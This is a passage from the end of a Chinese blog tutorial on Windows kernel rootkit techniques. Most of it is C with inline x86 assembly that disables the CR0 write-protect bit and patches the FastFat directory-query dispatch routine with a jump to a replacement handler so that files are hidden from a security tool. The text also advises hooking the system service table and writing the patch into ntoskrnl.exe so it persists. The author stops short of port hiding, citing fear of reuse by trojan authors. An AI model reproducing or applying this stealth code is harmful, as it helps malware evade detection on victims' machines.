                                      &FileDeviceObject );
              if ( FastFatStatus == STATUS_SUCCESS )
              {
                  _asm
              {
                  pushad
                  mov edi, FileDeviceObject
                  mov eax, [edi+0x68]
                  mov OldFatQueryDirectoryDispatch, eax
                  popad
              }

          
                  _asm
              {
                  CLI                  
                  MOV    EAX, CR0      
                  AND EAX, NOT 10000H
                  MOV    CR0, EAX      
              }

                    _asm
              {
                  pushad
                  mov edi, OldFatQueryDirectoryDispatch
                  mov eax, [edi]
                  mov dword ptr ResumCodeFatQueryDirectoryDispatch[0], eax
                  mov ax, [edi+4]
                  mov word  ptr ResumCodeFatQueryDirectoryDispatch[4], ax
                  
                  mov byte ptr CrackCodeFatQueryDirectoryDispatch[0], 0x68
                  lea edi, NewFatQueryDirectoryDispatch
                  mov dword ptr CrackCodeFatQueryDirectoryDispatch[1], edi
                  mov byte ptr CrackCodeFatQueryDirectoryDispatch[5], 0xC3

                  mov edi, OldFatQueryDirectoryDispatch
                  mov eax, dword ptr CrackCodeFatQueryDirectoryDispatch[0]
                  mov dword ptr[edi], eax
                  mov ax, word ptr CrackCodeFatQueryDirectoryDispatch[4]
                  mov word ptr[edi+4], ax
                  popad
              }


                  _asm
              {
                  MOV    EAX, CR0    
                  OR    EAX, 10000H    
                  MOV    CR0, EAX          
                  STI                  
              }


              
              }

              return ( NtfsStatus & FastFatStatus );  

      }
      以上代碼只能實現(xiàn)在IS中隱藏文件,如果要想在普通情況下隱藏文件,可以hook服務表中的函數(shù),也可以在上面構造新的分派函數(shù)中增加一些選擇項就是了。但是記得hook服務表中的函數(shù)別忘了把構造后的數(shù)據(jù)寫入otoskrnl.exe中,免得IS啟動時失效。


      八、關于端口:

          感覺是該停止的時候了,如果把這個也搞出來并且本文被灰鴿子作者之流A進他的作品的話,那就違背我的本意并且我的心也會也會難受的。因此就在這里止步吧! 呵呵,今年我想要學的東西,想要做的事情也都做完了??梢院煤没厝ミ^年了。爽??!最后祝各位圣誕快樂!特別時那些他鄉(xiāng)的游子。記得打個電話回去問候喲!

        本站是提供個人知識管理的網(wǎng)絡存儲空間,所有內容均由用戶發(fā)布,不代表本站觀點。請注意甄別內容中的聯(lián)系方式、誘導購買等信息,謹防詐騙。如發(fā)現(xiàn)有害或侵權內容,請點擊一鍵舉報。
        轉藏 分享 獻花(0

        0條評論

        發(fā)表

        請遵守用戶 評論公約

        類似文章 更多